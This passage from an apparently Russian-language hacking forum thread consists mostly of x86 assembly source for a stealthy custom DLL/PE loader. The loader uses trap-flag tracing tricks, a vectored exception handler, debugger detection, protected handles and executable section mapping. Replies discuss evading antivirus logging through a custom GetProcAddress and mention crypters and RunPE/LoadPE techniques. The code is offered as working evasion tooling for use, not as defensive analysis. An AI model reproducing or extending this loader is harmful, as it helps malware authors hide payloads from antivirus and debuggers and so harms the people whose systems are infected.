    push MEM_COMMIT
    mov [ebx].DesiredBase,ecx
    push eax
    mov BufferSize,16
    push 0
    push edx
    push NtCurrentProcess
    Call [ebx].Fn.pZwAllocateVirtualMemory
    test eax,eax
    mov ecx,[ebx].Buffer
    lea edx,[ebx].DllName
    jnz Clear
    mov dword ptr [ecx + TfBreaker],00030268H
    mov dword ptr [ecx + TfBreaker + 4],0C3F49D00H
    mov dword ptr [ecx + TfTracer],00030268H
    mov dword ptr [ecx + TfTracer + 4],0E0FF9D00H
comment '
; o Связка инструкции popfd с иной не должна быть нарушена при морфинге!
; Стаб для динамического определения второй инструкции диспетчера исключений.
TfBreaker:
    push EFLAGS_TF or EFLAGS_MASK    ; 0x302
    popfd
    ; Используем трассировочный баг. TF переносится в диспетчер исключений.
    ; Если не пропускать трассировочный останов в диспетчере, это приведёт к деадлоку.
    hlt
TfSignal:
    ret
; Стаб для запуска трассировки LdrLoadDll().
TfTracer:
    push EFLAGS_TF or EFLAGS_MASK
    popfd
    jmp eax
    '
    push DllName
    push edx
    Call [ebx].Fn.pRtlCreateUnicodeStringFromAsciiz
    test eax,eax
    lea ecx,[ebx].Directory
    jz Free1
    push 'sl'
    push 'lDnw'  
    push 'onK\'
    push esp
    push ecx
    Call [ebx].Fn.pRtlCreateUnicodeStringFromAsciiz
    test eax,eax
    lea esp,[esp + 3*4]
    jz Free2
    Call $VEH
    push eax
    push 1
    Call [ebx].Fn.pRtlAddVectoredExceptionHandler
    test eax,eax
    mov edx,fs:[TEB.Tib.StackBase]
    mov [ebx].CalloutList,eax
    jz Free3
    mov eax,dword ptr [edx - 4]
    mov dword ptr [edx - 4],ebx
    lea ecx,[ebx].SectionHandle
    mov dword ptr [ebx].StackData,eax
    invoke LdrCreateImageSection, Ebx, Ecx, NULL, MapAddress, DllName    ; NTSTATUS
    test eax,eax
    lea ecx,ObjectInformation
    jnz Uninit
    push 2
    push ecx
    push ObjectHandleFlagInformation
    push [ebx].SectionHandle
    mov dword ptr [ObjectInformation],0100H    ; ProtectFromClose
    Call [ebx].Fn.pZwSetInformationObject
    test eax,eax
    jnz Close
    invoke xIsDebuggerPresent, Ebx
    test eax,eax
    mov ecx,[ebx].Buffer    ; TfBreaker
    jnz Unprotect    ; #STATUS_HANDLE_NOT_CLOSABLE
    mov [ebx].BugIp,1
    Call Ecx
    lea edx,[ebx].DllName
    mov ecx,[ebx].Buffer
    push ImageBase
    add ecx,TfTracer
    push edx
    mov eax,[ebx].Fn.pLdrLoadDll
    push DllCharacteristics
    push NULL
    Call Ecx
    mov ecx,[ebx].Buffer
    lea ecx,[ecx + TfSignal]
    Call Ecx        ; TfSignal
Unprotect:
    push eax
    lea ecx,ObjectInformation
    push 2
    push ecx
    push ObjectHandleFlagInformation
    push [ebx].SectionHandle
    mov dword ptr [ObjectInformation],0
    Call [ebx].Fn.pZwSetInformationObject
    pop eax
Close:
    push eax
    push [ebx].SectionHandle
    Call [ebx].Fn.pZwClose
    pop eax
Uninit:
    mov edx,fs:[TEB.Tib.StackBase]
    push eax
    mov ecx,[ebx].StackData
    push [ebx].CalloutList
    mov dword ptr [edx - 4],ecx
    Call [ebx].Fn.pRtlRemoveVectoredExceptionHandler
    pop eax
Free:
    mov Status,eax
Free3:
    lea eax,[ebx].Directory
    push eax
    Call [ebx].Fn.pRtlFreeUnicodeString
Free2:
    lea eax,[ebx].DllName
    push eax
    Call [ebx].Fn.pRtlFreeUnicodeString
Free1:
    lea ecx,BufferSize
    lea edx,[ebx].Buffer
    push MEM_RELEASE
    push ecx
    push edx
    push NtCurrentProcess
    Call [ebx].Fn.pZwFreeVirtualMemory
Error:
    mov eax,Status
Clear:
    add esp,sizeof(ENVIRONMENT)
    jmp Exit
SEH_Epilog_Reference:
    GET_CURRENT_GRAPH_ENTRY
Exit:
    Call SEH_Epilog
    ret
xLdrLoadDll endp
end xLdrLoadDll

Код:
; +
; Создаёт секцию из образа модуля.
;
LdrCreateImageSection proc uses ebx esi edi Environment:PENVIRONMENT, SectionHandle:PHANDLE, DirectoryHandle:HANDLE, ImageBase:PVOID, SectionName:PSTR
Local ObjAttr:OBJECT_ATTRIBUTES
Local LocalSectionHandle:HANDLE
Local LocalSectionSize:LARGE_INTEGER, ViewSize:ULONG
Local MapAddress:PVOID, SectionOffset:LARGE_INTEGER
Local ImageHeader:PIMAGE_NT_HEADERS
    Call SEH_Epilog_Reference
    Call SEH_Prolog
    mov ebx,Environment
    assume ebx:PENVIRONMENT
    invoke LdrImageNtHeader, ImageBase, addr ImageHeader
    test eax,eax
    mov edx,ImageHeader
    jnz Exit
    assume edx:PIMAGE_NT_HEADERS
    mov edx,[edx].OptionalHeader.SizeOfImage
    mov ecx,DirectoryHandle
    mov ObjAttr.uLength,sizeof(OBJECT_ATTRIBUTES)
    mov dword ptr [LocalSectionSize+4],eax
    mov dword ptr [LocalSectionSize],edx
    mov ViewSize,edx
    cmp SectionName,eax
    mov ObjAttr.hRootDirectory,ecx
    mov ObjAttr.uAttributes,eax
    mov ObjAttr.pSecurityDescriptor,eax
    mov ObjAttr.pSecurityQualityOfService,eax
    mov ObjAttr.pObjectName,eax
    lea ecx,LocalSectionSize
    lea edx,ObjAttr
    push eax
    push SEC_COMMIT
    push PAGE_EXECUTE_READWRITE
    lea eax,LocalSectionHandle
    push ecx
    push edx
    push SECTION_ALL_ACCESS
    push eax
    Call [ebx].Fn.pZwCreateSection
    test eax,eax
    jnz Exit
    mov MapAddress,eax
    mov dword ptr [SectionOffset],eax
    mov dword ptr [SectionOffset + 4],eax
    push PAGE_READWRITE
    push NULL
    push ViewShare
    lea eax,ViewSize
    push eax
    lea eax,SectionOffset
    push eax
    push 0
    push 0
    lea eax,MapAddress
    push eax
    push NtCurrentProcess
    push LocalSectionHandle
    Call [ebx].Fn.pZwMapViewOfSection   
    test eax,eax
    jnz Close
    invoke LdrConvertFileToImage, Ebx, ImageBase, MapAddress
    push eax
    push MapAddress
    push NtCurrentProcess
    Call [ebx].Fn.pZwUnmapViewOfSection
    pop eax
    mov edx,LocalSectionHandle
    test eax,eax
    mov ecx,SectionHandle
    jnz Close
    mov dword ptr [ecx],edx
    jmp Exit
Close:
    push eax
    push LocalSectionHandle
    Call [ebx].Fn.pZwClose
    pop eax
    jmp Exit
SEH_Epilog_Reference:
    GET_CURRENT_GRAPH_ENTRY
Exit:
    Call SEH_Epilog
    ret
LdrCreateImageSection endp
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
С такими семплами не сталкивался, это скорее для системных виндовых файлов. Ну докрутить такое не есть большая проблема для тех, кому это может быть нужно.
Вообще говоря, это странно. Многие функции из kernel32.dll форвардятся на ntdll.dll. DeleteCriticalSection, ExitThread, HeapAlloc и HeapRealloc и так далее. Что характерно GetLastError не форвардится. Если обработка форвардинга нет, то странно, что такой код вообще работает, тк всякие ExitThread и HeapAlloc очень часто должны использоваться.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
FuncAddress = (DWORD_PTR)Procs->GetProcAddress(Dll, FuncName);
Хотя стоп. GetProcAddress оригинальная используется? Если да, то она форвардинг запилит без вашего участия, о чем мы тогда говорим?
 
Хотя стоп. GetProcAddress оригинальная используется? Если да, то она форвардинг запилит без вашего участия, о чем мы тогда говорим?
Расслабься, не кипишуй просто)
 
Так и есть. По-умолчанию. Но можно и через свою реализацию GPA пропустить, будет меньше обращений к WinAPI и логгинга со стороны аверов.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Но можно и через свою реализацию GPA пропустить
Ну вот как раз своя реализация должна будет уметь понимать форвардинг.
 
Статья интересная, но года два назад тоже самое и с исходниками выкладывал на экспе, криптор прилагался с описанием, так же там(помимо RunPE И LoadPE) экспериментальный метод тестировался. Только не понял два момента:
- чем твой LoadPE лучше классичекого
- не увидел примера обработки SEH64
 
но года два назад тоже самое и с исходниками выкладывал на экспе
- чем твой LoadPE лучше классичекого
Я не видел твой вариант, покажи, можно прямо в этом топике, разберем твой.
Я почти уверен, что твоя реализация не умеет в файлы трансформеры, проверим?

Большое спасибо за очень познавательный материал!
Пожалуйста! рад стараться)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх